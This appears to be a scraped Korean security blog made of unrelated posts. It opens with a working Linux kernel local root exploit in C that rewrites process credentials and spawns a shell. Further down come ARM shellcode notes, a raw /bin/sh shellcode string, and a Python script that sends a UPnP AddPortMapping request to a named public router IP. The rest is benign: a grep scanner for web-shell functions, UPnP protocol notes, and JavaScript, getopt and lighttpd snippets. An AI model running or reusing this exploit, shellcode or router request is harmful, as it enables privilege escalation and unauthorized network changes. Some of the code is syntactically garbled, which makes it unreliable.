 * Red Hat Enterprise Linux 4.8 (2.6.9-89.EL)
 * SUSE Linux Enterprise Server 11 (2.6.27.19-5)
 * SUSE Linux Enterprise Server 10 SP2 (2.6.16.60-0.21)
 * Ubuntu 8.10 (2.6.27-14) is not vulnerable
 * Ubuntu 8.10 (2.6.27-11)
 * Ubuntu 8.10 (2.6.27-9)
 * Ubuntu 8.10 (2.6.27-7)
 *
 * For i386 and ppc, compile with the following command:
 * gcc -Wall -o linux-sendpage linux-sendpage.c
 *
 * And for x86_64 and ppc64:
 * gcc -Wall -m64 -o linux-sendpage linux-sendpage.c
 *
 * [1] http://blog.cr0.org/2009/08/linux-null-pointer-dereference-due-to.html
 * [2] http://kbase.redhat.com/faq/docs/DOC-18042
 * [3] http://www.grsecurity.net/~spender/wunderbar_emporium2.tgz
 * [4] http://blog.cr0.org/2009/06/bypassing-linux-null-pointer.html
 */
 
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/sendfile.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
 
#if !defined(__always_inline)
#define __always_inline inline __attribute__((always_inline))
#endif
 
#if defined(__i386__) || defined(__x86_64__)
#if defined(__LP64__)
static __always_inline unsigned long
current_stack_pointer(void)
{
    unsigned long sp;
 
    asm volatile ("movq %%rsp,%0; " "=r" (sp));
 
    return sp;
}
 
#else
static __always_inline unsigned long
current_stack_pointer(void)
{
    unsigned long sp;
 
    asm volatile ("movl %%esp,%0" "=r" (sp));
 
    return sp;
}
 
#endif
 
#elif defined(__powerpc__) || defined(__powerpc64__)
static __always_inline unsigned long
current_stack_pointer(void)
{
    unsigned long sp;
 
    asm volatile ("mr %0,%%r1; " "=r" (sp));
 
    return sp;
}
 
#endif
 
#if defined(__i386__) || defined(__x86_64__)
#if defined(__LP64__)
static __always_inline unsigned long
current_task_struct(void)
{
    unsigned long task_struct;
 
    asm volatile ("movq %%gs:(0),%0; " "=r" (task_struct));
 
    return task_struct;
}
 
#else
#define TASK_RUNNING 0
 
static __always_inline unsigned long
current_task_struct(void)
{
    unsigned long task_struct, thread_info;
 
    thread_info = current_stack_pointer() & ~(4096 - 1);
 
    if (*(unsigned long *)thread_info >= 0xc0000000) {
        task_struct = *(unsigned long *)thread_info;
 
        /*
         * The TASK_RUNNING is the only possible state for a process executing
         * in user-space.
         */
        if (*(unsigned long *)task_struct == TASK_RUNNING)
            return task_struct;
    }
 
    /*
     * Prior to the 2.6 kernel series, the task_struct was stored at the end
     * of the kernel stack.
     */
    task_struct = current_stack_pointer() & ~(8192 - 1);
 
    if (*(unsigned long *)task_struct == TASK_RUNNING)
        return task_struct;
 
    thread_info = task_struct;
 
    task_struct = *(unsigned long *)thread_info;
 
    if (*(unsigned long *)task_struct == TASK_RUNNING)
        return task_struct;
 
    return -1;
}
 
#endif
 
#elif defined(__powerpc__) || defined(__powerpc64__)
#define TASK_RUNNING 0
 
static __always_inline unsigned long
current_task_struct(void)
{
    unsigned long task_struct, thread_info;
 
#if defined(__LP64__)
    task_struct = current_stack_pointer() & ~(16384 - 1);
 
#else
    task_struct = current_stack_pointer() & ~(8192 - 1);
 
#endif
 
    if (*(unsigned long *)task_struct == TASK_RUNNING)
        return task_struct;
 
    thread_info = task_struct;
 
    task_struct = *(unsigned long *)thread_info;
 
    if (*(unsigned long *)task_struct == TASK_RUNNING)
        return task_struct;
 
    return -1;
}
 
#endif
 
#if defined(__i386__) || defined(__x86_64__)
static unsigned long uid, gid;
 
static int
change_cred(void)
{
    unsigned int *task_struct;
 
    task_struct = (unsigned int *)current_task_struct();
 
    while (task_struct) {
        if (task_struct[0] == uid && task_struct[1] == uid &&
                task_struct[2] == uid && task_struct[3] == uid &&
                task_struct[4] == gid && task_struct[5] == gid &&
                task_struct[6] == gid && task_struct[7] == gid) {
            task_struct[0] = task_struct[1] =
            task_struct[2] = task_struct[3] =
            task_struct[4] = task_struct[5] =
            task_struct[6] = task_struct[7] = 0;
            break;
        }
 
        task_struct++;
    }
 
    return -1;
}
 
#elif defined(__powerpc__) || defined(__powerpc64__)
static int
change_cred(void)
{
    unsigned int *task_struct;
 
    task_struct = (unsigned int *)current_task_struct();
 
    while (task_struct) {
        if (!task_struct[0]) {
            task_struct++;
            continue;
        }
 
        if (task_struct[0] == task_struct[1] &&
                task_struct[0] == task_struct[2] &&
                task_struct[0] == task_struct[3] &&
                task_struct[4] == task_struct[5] &&
                task_struct[4] == task_struct[6] &&
                task_struct[4] == task_struct[7]) {
            task_struct[0] = task_struct[1] =
            task_struct[2] = task_struct[3] =
            task_struct[4] = task_struct[5] =
            task_struct[6] = task_struct[7] = 0;
            break;
        }
 
        task_struct++;
    }
 
    return -1;
}
 
#endif
 
#define PAGE_SIZE getpagesize()
 
int
main(void)
{
    char *addr;
    int out_fd, in_fd;
    char template[] = "/tmp/tmp.XXXXXX";
 
#if defined(__i386__) || defined(__x86_64__)
    uid = getuid(), gid = getgid();
 
#endif
 
    if ((addr = mmap(NULL, 0x1000, PROT_EXEC|PROT_READ|PROT_WRITE, MAP_FIXED|
            MAP_PRIVATE|MAP_ANONYMOUS, 0, 0)) == MAP_FAILED) {
        perror("mmap");
        exit(EXIT_FAILURE);
    }
 
#if defined(__i386__) || defined(__x86_64__)
#if defined(__LP64__)
    addr[0] = '\xff';
    addr[1] = '\x24';
    addr[2] = '\x25';
    *(unsigned long *)&addr[3] = 8;
    *(unsigned long *)&addr[8] = (unsigned long)change_cred;
 
#else
    addr[0] = '\xff';
    addr[1] = '\x25';
    *(unsigned long *)&addr[2] = 8;
    *(unsigned long *)&addr[8] = (unsigned long)change_cred;
 
#endif
 
#elif defined(__powerpc__) || defined(__powerpc64__)
#if defined(__LP64__)
    /*
     * The use of function descriptors by the Power 64-bit ELF ABI requires
     * the use of a fake function descriptor.
     */
    *(unsigned long *)&addr[0] = *(unsigned long *)change_cred;
 
#else
    addr[0] = '\x3f';
    addr[1] = '\xe0';
    *(unsigned short *)&addr[2] = (unsigned short)change_cred>>16;
    addr[4] = '\x63';
    addr[5] = '\xff';
    *(unsigned short *)&addr[6] = (unsigned short)change_cred;
    addr[8] = '\x7f';
    addr[9] = '\xe9';
    addr[10] = '\x03';
    addr[11] = '\xa6';
    addr[12] = '\x4e';
    addr[13] = '\x80';
    addr[14] = '\x04';
    addr[15] = '\x20';
 
#endif
 
#endif
 
    if ((out_fd = socket(PF_BLUETOOTH, SOCK_DGRAM, 0)) == -1) {
        perror("socket");
        exit(EXIT_FAILURE);
    }
 
    if ((in_fd = mkstemp(template)) == -1) {
        perror("mkstemp");
        exit(EXIT_FAILURE);
    }
 
    if(unlink(template) == -1) {
        perror("unlink");
        exit(EXIT_FAILURE);
    }
 
    if (ftruncate(in_fd, PAGE_SIZE) == -1) {
        perror("ftruncate");
        exit(EXIT_FAILURE);
    }
 
    sendfile(out_fd, in_fd, NULL, PAGE_SIZE);
 
    execl("/bin/sh""sh""-i", NULL);
 
    exit(EXIT_SUCCESS);
}

Posted by k1rha
2012. 12. 18. 23:32

ARM 쉘코드 만들기(To make shellcode in ARM architecture)



ARM 프로세서는 일반적인 32비트 인스트럭션 셋을 제공하는 ARM 모드와, 16비트 인스트럭션 셋을 제공하는 Thumb 모드가 있다모든ARM 프로세서가 Thumb 모드를 지원하진 않고 ARM7 TDMI처럼 프로세서 이름에 T가 들어있는 제품군이 Thumb 모드를 지원하게 된다.

(Ex. ARM8 ARM7T ARM9T StringARM...)


ARM 프로세서는 총 16개의 레지스터가 존재한다 (R0~ R15 +PC)


R13 이 바로 스택포인터(Stack Pointer)로 사용되어 지진다.


R14 가 링크레지스터(LR) 가 된다. 이 R14는 링크레지스터(LR)로 사용된다. 이 R14가 실제로 함수가 호출될 시 리턴 어드레스를 담고 있다. 


R15(Program Counter)는 다른 PCU에서 PC 와 같은 역할을 한다. 





ARM 중요 명령어 


BEQ 나 MOV종류의 명령어들은 모두 조건을 걸 수 있따.


SWI : Software Interrupt 의 약어로 X86프로세서에서의 INT 명령어에 해당한다.



STMFD : sp!, {r4-r6,lr}; 스택에 r4-r6 와 lr 레지스터를 저장하고 sp를 그만큼 감소 시킨다.

LDMFD : sp!, {r4-r6,pc}; 스택에서 r4-r6와 pc를 복원하고 sp를 그만큼 증가 시킨다.




이렇게 두가지 모드를 제공하는 이유는 열약한 환경에서의 최적화를 하기 위함이다.


ARM 쉘코드를 만들때의 특성

1.범용레지스터 : r0-r7


2.push / pop 에 대한 것을 잘 사용하지 않음


3. 최대 가능수치 : 255


4.레지스터 변위에 대한 제한

{R13, R14, R15, R16} = {sp,lr,pc,cpsr}


5.ARM <---> Thumb

Thumb 모드의 T비트는 CPSR 에서 1만큼 떨어져 있다.


6.Branch Exchange (bx addr) 

분기점은 BX로 처리한다.


7.파라미터값들은 r0,r1,r2.. 같이 범용 레시즈터를 사용 한다.


 .global main

main:

.CODE 32

add r2,pc,#1

bx r2

.CODE 16

thumb:



헤더의 참조는 /usr/src/linux/arch/arm/include/arm/unistd.h 와 같음

(X86 코드와 똑같다)




R7 레지스터가 함수 호출번호를 담당한다.

svc 를 통해 커널을 직접 호출가능하다.

return 형은 함수호출 이후 r0 레지스터에 저장된다.



PUSH POP 을사용하지 말고 직접 쓰라는 것은 아래예시를 비교해 보면 알 수 있다.





위에서보기에 왼쪽은 같은 코드도 push pop 으로 파라미터값을 조절했고 오른쪽은 레지스터에 직접 담어 호출하도록 되어 있다.

오른쪽처럼 코딩하는것을 권장 한다. 




널값 제거하기


쉘코드를 공격코드로 사용하려면 NULL 을 회피하는 방법을 알아야한다.

R0를 사용하면 NULL이 포함되어 저장이 된다. 이를 피하기위해 Phrack 58호에서 소개된 방법들이다.




 Orignal

 Brand New

 e3a0041    mov   r0,    #65

 e0411001  sub r1,r1,r1

 e2812041   add r2, r1, #65

 e1a00112   mov  r0, r2, lsl r1(r0 = r2<<0)

 

 systemcall


e28f1004  add r1,pc,#4 <- get address of swi

e0422002 sub r2,r2,r2

e5c12001 strb r2, [r1,#1]

ef90ff0b  swi 0x90ff0b

   
   
   





Posted by k1rha
2012. 12. 6. 23:02

IDA 에서 __OFSUB__ 이란? (what is __OFSUB__ in IDA pro?)



__OFSUB__



v13 = __OFSUB__(oneWord_URL_ARGV,'=');


라는 구절을 발견  구글링 검색 결과 


No there isn't. To me this looks more like a define because of the __ before and after the name... 

 아니요 그렇치 않습니다. __ 뒤에 그리고 앞에 이름이 붙은것은 단순한 정의 이상으로 보입니다.


Anyways, it's not defined nor declared anywhere in the generated output.
어쨌거나  이것은 어디선가 정의되어 있지 않거나 일반적인 아웃풋이 없는 경우에 나타냅니다.


Thanks for trying to help though..

땡큐~ 

Posted by k1rha
2012. 12. 3. 12:18

function initialize(){

mytext=$("#"+i).html();

$("#typing").html("");

typeit();


}


function typeit(){


temp = mytext.charAt(it);   //여기서 몇번재 문자열을 문자열을 가져올지 정한다.

if(temp == "^")$("#typing").html($("#typing").html()+"<br>");  //특정 문자열이 나오면 개행


else typing.insertAdjacentText("beforeEnd",temp) ;   //타이핑되는 함수


if (it<mytext.length){

it++ ;

setTimeout("typeit()",70);   //시간 주기 타이핑되는 시간주기

}

}


 
타이핑 효과 내는 자바스크립트 코드  (Javascript Code to typing effect)

한글짜식 타이핑 효과를 내주는 Jquery를 사용한 구문.. 

typing.insertAdjacentText  에 대한 어느 위치에 타이핑 되게 할지 결정

▶ beforeBegin : 택의 외부에서 택의 바로 앞

▶ afterBegin : 택의 내부에서 내용물의 시작

▶ beforeEnd : 택의 내부에서 내용물의 끝

▶ afterEnd : 택의 외부에서 택의 바로 뒤

Posted by k1rha
2012. 12. 2. 01:51

공유기 펌웨어의 upnp 라는것이 존재 하기에, 좀더 편리하게 홈 네트워크를 구축 할 수 있다.

대부분의 공유기는 이러한 편의를 제공하기 위해 UPNP를 default 설정을 ON 으로 해놓는다.

하지만 이러한 포트가 외부로 열려 있는 경우가 있다. 어떤 회사인지는 공개하지 않겠음) 



공유기에 있는 IP 로 (210.118.64.148) 스캐닝을 한 결과이다. 

[사내 아이피으로 절대 동일 스캔을 날리지 마세요 법적 제제를 하겠습니다.)

 이중에 관심깊게 볼 부분은(펌웨어 분석을통한 포트 2048) 이다.



OPTIONS * HTTP/1.1 을 이용하여 하여 UPnP/1.0  버젼이 있음을 알수 있다.

uPnP는 토론토등이 사용하고 있다고 알고 있어 처음에는 토렌토 패킷을 분석했으나, 잡패킷이 너무많아 아니다 싶었다.

바로 다른 uPnP 패킷을 잡을수 있는 프로그램을 구했는데, 내부망에서만 구현이 가능토록 설계된 프로그램이다. 

(스캔과정을 거쳐서 접속할 대상을 고르기 때문에..)


간단한 분석을 위하여 이전 글에 올린 PORTMapper 로 upnp 포워딩을 설정하는 장면이다.




위 그림은 포트매핑을 하는 그림이다. 이그림에서 RemoteHost 부분을 공백으로 할시에는 모든 패킷을 통과 시킨다. 

그리고 TCP 80번 (웹패킷) 만 포워딩을 시켜 간단하게 어떠한 구도로 가는지 봐보자 


이과정을 가질때 패킷을 wireshark 로 잡아보면 아래와 같다.



 3  hand shaking 이 있은 뒤에 PSH,ACK 를 통해 이렇게 POST 값으로 얼마만큼의 패킷이 갈지 결정된 뒤에, 아래와 같이 XML 형식으로 어떠한 설정을 할지 결정해 준다.




이 과정에서 얻은 패킷을 문자열로 바꿔 보면 아래와 같다. 



웹통신 규약에 맞추어 개행을 해주고 이를 소켓으로 쏴주면 아름답게 포워딩이 됨을 확인 할 수 있다.

이때 중요한 점은 HOST 부분에 LOCAL 아이피가 아닌 REMOTE환경에서의 아이피가 필요하다. 

import socket



IP = '210.118.64.148'

PORT = 2048



sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

sock.connect((IP,PORT))

#sock.send("OPTIONS * HTTP/1.0\r\n\r\n")


sock.send("POST /etc/linuxigd/gateconnSCPD.ctl HTTP/1.1\r\nCONTENT-TYPE: text/xml; charset=\"utf-8\"\r\nSOAPACTION: \"urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping\"\r\nCache-Control: no-cache\r\nPragma: no-cache\r\nUser-Agent: Java/1.7.0_09\r\nHost: 210.118.64.148:2048\r\nAccept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2\r\nConnection: keep-alive\r\nContent-Length: 579\r\n\r\n<?xml version=\"1.0\"?>\r\n<s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:AddPortMapping xmlns:u=\"urn:schemas-upnp-org:service:WANIPConnection:1\"><NewRemoteHost></NewRemoteHost><NewExternalPort>80</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>80</NewInternalPort><NewInternalClient>192.168.0.1</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>test</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>\r\n\r\n\r\n\r\n")


data = sock.recv(5024)

print data

sock.close()




Posted by k1rha
2012. 12. 1. 23:26

\x02\x20\x42\xe0\x1c\x30\x8f\xe2\x04\x30\x8d\xe5\x08\x20\x8d\xe5\x13\x02\xa0\xe1\x07\x20\xc3\xe5\x04\x30\x8f\xe2\x04\x10\x8d\xe2\x01\x20\xc3\xe5\x0b\x0b\x90\xef/bin/sh

'System_Hacking' 카테고리의 다른 글

PLT & GOT 심층 분석.  (0) 2013.04.05
구홍이 형이 쓰신 페도라 오버플로우 공략법 글  (0) 2013.03.05
ASLR 끄는법?!  (0) 2012.10.30
[코드 오딧팅] From 해킹캠프  (0) 2012.09.02
GDB 명령어 모음집  (0) 2012.08.26
Posted by k1rha
2012. 12. 1. 19:40

우선 UPNP는 같은 내부에 자신의 디바이스를 알려주는 용도로 많이 사용 되게 된다. 또한 포트포워딩의 용도로도 사용되게 되는데,

포트포워딩의 경우는 한 아이피당 하나의 포트로 1:1 매칭을 시켜주지만, UPNP 의경우 클라이언트 요청에 따라 유드리 있게 바꿔서 설정이 가능하다는 매리트를 안고 있다. 


프로토콜은 XML 방식을 사용하고 있고 

프로그램관련 내용이나 , XML 개발 내용은 많았으나, 실질적으로 구현된 내용이나, 프로그램은 찾기가 정말 어려운 실정인데, 아래 파일을 구하게 되었다.


진짜 관련 내용 찾느라 2일을 거의다 쓴것 같다.. 


http://www.download32.com/upnp-portmapper-i129031.html

PortMapper-1.9.4.jar


jar 파일이고, 자바가 설치 되어있어야 돌아간다.


이제 wireshark 로 돌아다니는 패킷을 잡아다가 분석해서 어떻게 동작하는지 리포팅 하겠다.

Posted by k1rha
2012. 11. 30. 09:08
프로토콜 설명 내용 

1. 개발 환경

OS : Linux

컴파일러: gcc

UPNP SDK(UPNP 라이브러리) : upnp. sourceforge.net 

IGD (UPNP 데몬): igd.sourceforge.net

 

 

2. 용 어

Device: TV, Gateway 등 장치를 뜻한다. C/S 개념으로 서버와 비슷한 개념이다.

Control Point: Device 를 제어하는 장치로서 일반 PC, 노트북을 예로 들수 있다. C/S 개념으로 클라언트와 비교할 수 있다.

 

 

3. UPNP Layer

UPNP 에는 6 Layer 로 구성되어 있다.

 

 

3

Control

(SOAP)

4

Eventing

(GENA)

5

Presentation

(HTTP:HTML)

 

2  Description (HTTP:XML)

 

1 Discovery (SSDP/GENA)

0 Address

 

 

0 Level (Address

 Control point 와 Device 네트워크에 참여하기 위해 IP Address 를 얻어온다.

1 Level (Discovery)

Control point 는 모든 Device 를 찾아내고 Device 자신의 사용 가능여부를 알려준다.

2 Level (Description)

Control point 가 device 에 대한 기본 정보를 가져 온다.

3 Level (Control)

Control point 가 Device를 제어한다.

4 Level (Eventing)

Control point 가 Device 상태를 listen 한다.

5 Level (Presentation

Web 화면을 Device를 정보를 볼 수 있거나 제어 할 수 있다.

Intel Linux 하에서 구현된 upnp sdk 는 Level 1부터 구현되어 있다. Address를 얻어오는 부분은 DHCP 로 얻어 온다.

4. UPNP 프로토콜과 구현

 

 

Upnp 는 SSDP, GENA, SOAP 로 구성되어 있다. SSDP와 GENA 는 UDP 기반위에 멀티 캐스트/유니캐스트 패킷으로 이뤄어 졌고 SOAP는 TCP 기반으로 구성되어 있다. 약간씩 차이는 있지만 기본적인 형태는 HTTP로 이루어 졌기 때문에 UPNP SDK 를 살펴보면 WEB 모듈이 반이상을 차지하는 것을 알 수 있다.


 

 


1) Discovery(SSDP/GENA)

 

Device를 네트워크에 참여시키면 239.255.255.250 패킷 헤더에 NOTIFY , 장치의 고유번호 , 동작여부, Device 를 정의한 xml 파일의 경로 등을 담은 멀티캐스트 udp 패킷을 네트워크로 보낸다(광고한다).

NOTIFY * HTTP/1.1
HOST: 239.255.255.250:1900
CACHE-CONTROL: max-age =
 1800
LOCATION: http://192.168.0.9:2869/gatedesc.xml

NTupnp:rootdevice
NTS
ssdp:alive
SERVER: Linux/2.4.12 UPnP/1.0 Intel UPnP SDK/1.0
USNadvertisement UUID

 

 

 


* 이 부분은 upnp sdk 에서 구현되어 있으므로 사용자가 프로그램 해야 할 부분은 UpnpSendAdvertisement 함수를 호출 해주면 된다.

 

 

 

2) Description (HTTP:XML)

Discovery에서 알아낸 Device의 XML description 파일을 얻어 온다. 프로토콜 방식은 HTTP 방식이다.

 

PC 에서 Description 패킷을 받으면 [내 네트워크 환경]에서 Device 가 나타나는걸 볼 수 있다. 이 아이콘을 누르면 바로 Device의 설정화면인 Web 화면으로 넘어간다. Anygate 상에서는 Description 부분이 구현되어 있다면 Device 의 IP 주소를 몰라도 이 아이콘의 클릭만으로 바로 설정 화면으로 들어갈 수 있다.

 

위에 등록 정보 내용을 수정하려면 xml 파일을 수정하면 된다. 우리는 gatedesc.xml 의 기본내용을 담고 있는 gatedesc.skl에서 각 내용을 수정할 수 있다

 

 

3) Control (SOAP)

Control pointer 에서 Device의 정보를 얻어오거나 Device를 제어할 때 사용되는 Control Level 은 Device와 관련된 부분으로 Anygate에 상에 upnp 를 돌리기 위해 가장 많이 구현해야 하는 부분이다.

해더부분은 M-POST 로 시작하며 SOAPACTION 뒤에 오는 각각의 #ActionName(제어시) 과 #QueryStateVariable(Device에 대한 정보) 요청에 대한 응답 부분을 구현해야 한다.

 

M-POST  /upnp/control/WANIPConn1  HTTP/1.1
HOST: 192.168.0.9:2869  CONTENT-TYPE: text/xml; charset="utf-8"
MAN: "http://schemas.xmlsoap.org/soap/envelope/"; ns=0101-

==============================================================

Device를 제어 할 때

SOAPACTION: "urn:schemas-upnp-org:service:serviceType:v#actionName"
==============================================================

Device의 정보를 알고자 할 때

SOAPACTION: "urn:schemas-upnp-org:control-1-0#QueryStateVariable

 

 


 

 

Device 에는 여러 개의 Service 로 이루워져 있는데 인터넷 공유기인 Anygate 는 IGD 를 기반으로 하기 때문에 연결부분 (CONNECT), 설정 부분(CONFIG), Device 의 OS 3개 부분으로 구성되어 있고 각각을 정의한 description 파일 gateconnSCPD.xml, gateicfgSCPD.xml,  gateinfoSCPD.xml 3개가 존재 한다.

 

각각의 서비스에 대한 Action 값은 igd.sourceforge.net 에 정의 되어 있으나 각 부분에 대한 값들은 구현을 해야 된다.

 

if (strcmp(ca_event->ServiceID, GateServiceId[GATE_SERVICE_CONNECT]) == 0)

=>서비스 종류 확인

{

strcpy(service_type, GateServiceType[GATE_SERVICE_CONNECT]);

if (strcmp(ca_event->ActionName, "GetConnectionTypeInfo") == 0)

=> Action 종류 확인

{

action_succeeded = 1;

strcpy(result_param,"<NewConnectionType>IP_Routed</NewConnectionType>

<NewPossibleConnectionTypes>IP_Routed</NewPossibleConnectionTypes>");

=> 이부분이 Device 장치와 관련 부분으로 사용자가 정의 해야 한다.

}

}

ca_event->ErrCode = UPNP_E_SUCCESS;

sprintf(result_str, "<u:%sResponse xmlns:u=\"%s\">\n%s\n</u:%sResponse>",

ca_event->ActionName,service_type,result_param,ca_event->ActionName);

=> Action 이름/ 서비스 종류/ Action 에 대한 value 값을 result_str 에 복사한 다음  result_str 값을 Control point에 보내주면 된다.

 


 

 

 

 


각 서비스에 대한 Action 과 구현은 아래와 같다.

 

연결 부분 (GateServiceId[GATE_SERVICE_CONNECT])에 대한 Action

 

- GetConnectionTypeInfo: 연결 타입으로 IP_Routed 로 정의

- GetNATRSIPStatus: NAT 사용 여부 로 Enable 값은 1로 정의

- GetStatusInfo: 연결 여부, 연결 시간

  Uptime => /proc/uptime 을 이용한다.

- GetExternalIPAddress: 외부 IP 주소

- GetGenericPortMappingEntry: 기본적으로 내장되어 있는 포트포워딩 으로 아래와 같은 값은 만들어서 보내줘야 동작 한다. 
포트 포워딩에 관련된 값들은 호스트 아이피, 외부 포트, 프로토콜, 내부 포트, 내부 아이피 , 사용여부,  포트 포워딩 설명, 사용 시간에 대한 내용을 표시하여 한다. 각각의 값은 아래 굵은 글씨를 참조하면 된다.

<NewRemoteHost xmlns:dt="urn:schemas-microsoft-com:datatypes" dt:dt="string"></NewRemoteHost>

<NewExternalPort xmlns:dt="urn:schemas-microsoft-com:datatypes" dt:dt="ui2">23</NewExternalPort>

<NewProtocol xmlns:dt="urn:schemas-microsoft-com:datatypes" dt:dt="string">TCP</NewProtocol>

<NewInternalPort xmlns:dt="urn:schemas-microsoft-com:datatypes" dt:dt="ui2">23</NewInternalPort>

<NewInternalClient xmlns:dt="urn:schemas-microsoft-com:datatypes" dt:dt="string"> 192.168.1.0 </NewInternalClient>

<NewEnabled xmlns:dt="urn:schemas-microsoft-com:datatypes"dt:dt="boolean">0</NewEnabled>

<NewPortMappingDescription xmlns:dt="urn:schemas-microsoft-com:datatypes" dt:dt="string"> Telnet </NewPortMappingDescription>

<NewLeaseDuration xmlns:dt="urn:schemas-microsoft-com:datatypes" dt:dt="ui4"> 0 </NewLeaseDuration>

 



- GetSpecificPortMappingEntry: 사용자가 직접 입력한 포트 포워딩 Entry

- AddPortMapping : 포트 포워딩 규칙이 추가될 때 동작 한다.

- DeletePortMapping : 포트 포워딩 규칙이 추가될 때 동작 한다.

 

GateServiceId[GATE_SERVICE_CONFIG]

이부분은 RX_PACKET /TX_PACKET 흐름에 대한 정보를 표현한 것으로 -> /proc/net/dev 에서 가져오면 된다.

 

- GetTotalPacketsSent 인터넷 게이트웨이가 보낸 패킷

- GetTotalPacketsReceived 인터넷 게이트웨이가 받은 패킷

- GetCommonLinkProperties: 연결 상태, 속도

 

GateServiceId[GATE_SERVICE_OSINFO]

 

 

UPNP 에서 Control 패킷을 받으면 [내트워크 연결] 를 보면 인터넷 게이트웨이에 Gateway를 설정할 수 있는 부분이 생겼다는걸 알수 있다.

 

위 아이콘을 클릭하면 연결 상태, 기간, 속도, 인터넷 게이트 웨이에서 주고 받은 패킷에 대한 정보가 나온다. 이부분은 Action 을 계속하여 보내므로써 출력된다. 

 

4) Eventing (GENA)

Control Point Device의 정보를 광고 정보를 subscribe , unsubscribe 할때 받는 패킷으로 헤데 부분에 SUBSCRIBE, UNSUBSCRIBE 로 구현되어 있다.

SUBSCRIBE /upnp/event/OSInfo1 HTTP/1.1
HOST: 192.168.0.9
CALLBACK
: <http://192.168.0.79:5000/notify>..
NTupnp:event
TIMEOUT: Second-requested subscription duration

 



5) Presentation

이부분은 일반 HTTP 프로토콜과 같다.

5. Upnp 실행

 

1) 멀티 캐스트 패킷을 받아야 하므로 멀티캐스킹에 라우팅 규칙을 추가해야 한다.

route add -net 239.0.0.0 netmask 255.0.0.0 eth0

upnp 실행 시키려면 [upnpd 외부 IF 내부 IF ] 명령어를 실행하면 된다.

ex)upnpd eth1 eth0

Posted by k1rha
2012. 11. 29. 02:28


웹쉘 에사용되는 함수 점검하는 스크립트~ (Script, Finding using function in webshell) 


간단하게 짜보았는데, 단점은 result.txt 까지 검사를 한다.. 

result.txt 는 상위 폴더에 넣고 그폴더만 검색하도록 하는것을 권장! 


#!/bin/bash

echo "START"

grep -r -n "system(" ./ | awk -F : '{print "filename : "$1"\nline: "$2"\nmatch: "$3"\n\n"}' > result.txt

grep -r -n "execl(" ./ | awk -F : '{print "filename : "$1"\nline: "$2"\nmatch: "$3"\n\n"}' >> result.txt

grep -r -n "execve(" ./ | awk -F : '{print "filename : "$1"\nline: "$2"\nmatch: "$3"\n\n"}' >> result.txt

grep -r -n "fopen(" ./ | awk -F : '{print "filename : "$1"\nline: "$2"\nmatch: "$3"\n\n"}' >> result.txt

grep -r -n "passthru(" ./ | awk -F : '{print "filename : "$1"\nline: "$2"\nmatch: "$3"\n\n"}' >> result.txt

grep -r -n "exec(" ./ | awk -F : '{print "filename : "$1"\nline: "$2"\nmatch: "$3"\n\n"}' >> result.txt

grep -r -n "shell_exec(" ./ | awk -F : '{print "filename : "$1"\nline: "$2"\nmatch: "$3"\n\n"}' >> result.txt

echo "create file \"result.txt\""

echo "FINISH"

Posted by k1rha
2012. 11. 28. 05:25

[출처 :http://tran.kr/94 ] 

맨날 직접 짜다보면 빠트리는 구문이 생겨버리는 구절.. 아예 가지고 있어야 겠다.



  1: #include <stdio.h>
  2: #include <string.h>
  3: #include <stdlib.h>
  4: #include <unistd.h>
  5: 
  6: int main(int argc, char **argv)
  7: {
  8:    char  optstring[1024];
  9:    extern char *optarg;
 10:    int   optchar;
 11:    
 12:    
 13:    memset(optstring, 0x00, sizeof(optstring));
 14:    
 15:    sprintf(optstring, "%s", "d:h:");
 16:    
 17:    while((optchar = getopt(argc, argv, optstring)) != EOF)
 18:    {
 19:       
 20:       switch(optchar)
 21:       {
 22:          case 'd':
 23:             printf("option d = [%s] \n", optarg);
 24:             break;
 25:          
 26:          case 'h':
 27:             printf("option h = [%s] \n", optarg);
 28:             break;
 29:             
 30:          default :
 31:             break;
 32:       }
 33:    }
 34:    
 35:    printf("End\n");
 36:    
 37:    return 0;
 38: }

Posted by k1rha
2012. 11. 28. 05:24

리눅스 계정 만료는 

/etc/shadow 에서 관리해준다.

여기에 암호화된 암호정보와, : : : 구분자로 만료일을 결정해 주게 되는데, 이 만료일이 다 되게 되면

암호를 바꿔달라고 요청이 뜨면서 재부팅 현상이 일어나게 된다. 

QEMU에서 passwd 명령어를 통해 암호를 바꿀 시 이 만료일이 다 되었다고

your password has expired 라는 문구가 뜨는 바람에 검색을 좀 오래 했다. 


아래는 개인 리눅스 서버의 shadow 파일정보이다. 

iptime2:$6$.uvg2DgO$ZLHPlEusVDJTWup/fl0YtsHUZGi8oYauPs97wc8P.opRnJVZPhuh5r8ba3vOrwrTwe895PoDqszJbbsL.T/v70:15641:0:99999:7

vde2-net:*:15646:0:99999:7:::

bind:*:15655:0:99999:7:::

QEMU:!:15656:0:99999:7:::

Posted by k1rha
2012. 11. 26. 06:59

http://code.google.com/p/xe-core/source/browse/branches/1.5.3.2/modules/install/install.admin.controller.php?spec=svn12278&r=12278

Posted by k1rha
2012. 11. 25. 15:47

http://blog.naver.com/giveupyou?Redirect=Log&logNo=20145878587


비교 분석이 잘되어 있는 블로그이다.


Posted by k1rha
2012. 11. 14. 20:36

[출처 : http://kuniz37.tistory.com/38 ]


1. lighttpd의 설치
  > sudo apt-get install lighttpd

2. 포트 변경
  > sudo vi /etc/lighttpd/lighttpd.conf

# 아래 문장 추가
server.port = 8081   


3. 디렉토리 view disable하기
 > sudo vi /etc/lighttpd/lighttpd.conf

server.dir-listing = "disable"


 
4. lighttpd cgi 사용 
 > sudo vi /etc/lighttpd/lighttpd.conf

server.modules = (
       ...
      "mod_cgi",                          # 추가


cgi.assign = (".cgi" => "")            # 추가   //이게 없으면 실행이안됨

 # ".cgi" => ""  (자체 실행을 의미) ,  
 # ".pl" => "/usr/bin/perl"  (.pl일 경우 perl 프로그램을 실행)

5. 개인화 폴더 설정 ( http://redmine.lighttpd.net/wiki/1/Docs:ModUserDir )
 > sudo vi /etc/lighttpd/lighttpd.conf

server.modules = (

...
